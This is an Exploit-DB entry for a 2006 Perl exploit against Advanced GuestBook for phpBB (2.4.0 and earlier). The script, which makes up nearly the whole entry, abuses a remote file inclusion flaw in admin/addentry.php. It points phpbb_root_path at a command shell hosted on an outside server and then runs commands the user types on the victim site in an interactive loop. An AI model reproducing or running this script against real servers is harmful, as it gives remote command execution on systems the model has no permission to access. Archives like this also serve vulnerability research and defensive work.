Advanced GuestBook <= 2.4.0 phpBB Remote File Inclusion Exploit

2006-04-28T00:00:00
ID EDB-ID:1725
Type exploitdb
Reporter n0m3rcy
Modified 2006-04-28T00:00:00

Description

Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit. Webapps exploit for php platform

                                        
                                            #!usr/bin/perl
use LWP::UserAgent;
# Bug Found by [Oo]
# Exploit coded by n0m3rcy
# Copyright (c) 2006 n0m3rcy@bsdmail.org
# Gr33tz; nukedx , Devil-00 , str0ke , cijfer
# Usage; n0ag.pl &lt;target&gt; &lt;cmd shell location&gt; &lt;cmd shell variable&gt;
if (@ARGV ne 3) { &usage; }
else { &exploit; }
sub header() {
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "+    Advanced GuestBook for phpBB &lt;= 2.4.0 Remote File Inclusion Exploit      +\r\n";
print "+                             Bug found by [Oo]                               +\r\n";
print "+                     Copyright (c) 2006 n0m3rcy@bsdmail.org                  +\r\n";
print "+                  Gr33tz: nukedx , cijfer , str0ke , Devil-00                +\r\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
}
sub usage() {
  &header;
  print "- Usage: $0 &lt;target&gt; &lt;cmd shell location&gt; &lt;cmd shell variable&gt;\r\n";
  print "- &lt;target&gt; -&gt; Victim's target ex: www.victim.com/path/\r\n";
  print "- &lt;cmd shell location&gt; -&gt; www.milw0rm.com/shelltxt\r\n";
  print "- &lt;cmd shell variable&gt; -&gt; cmd\r\n";
  exit();
}
sub exploit () {
my $tar = $ARGV[0];
my $cmdt = $ARGV[1];
my $cmdv = $ARGV[2];
while() {
print "[CMD] \$";
while(&lt;STDIN&gt;) {
$cmd=$_;
chomp($cmd);
my $exp = LWP::UserAgent-&gt;new() or die;
my $go = HTTP::Request-&gt;new(GET =&gt;$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "\r\n[-] Connected fail\n";
my $rgo = $exp-&gt;request($go);
my $return = $rgo-&gt;content;
my $return =~ tr/[\n]/[ê]/;
if (!$cmd) { print "\nPlease Enter a Command\n\n"; $return =""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in &lt;b&gt;/)
       { print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit }
elsif ($return =~/^&lt;br.\/&gt;.&lt;b&gt;Fatal.error/) { print "\nInvalid Command or No Return\n\n" }
if ($return =~ /(.*)/) {
my $finreturn = $1;
my $finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
print "[+] Exploit successed\r\n";
last;
}
else { print "[CMD] \$"; } 
last;
}
exit;
}
}

# milw0rm.com [2006-04-28]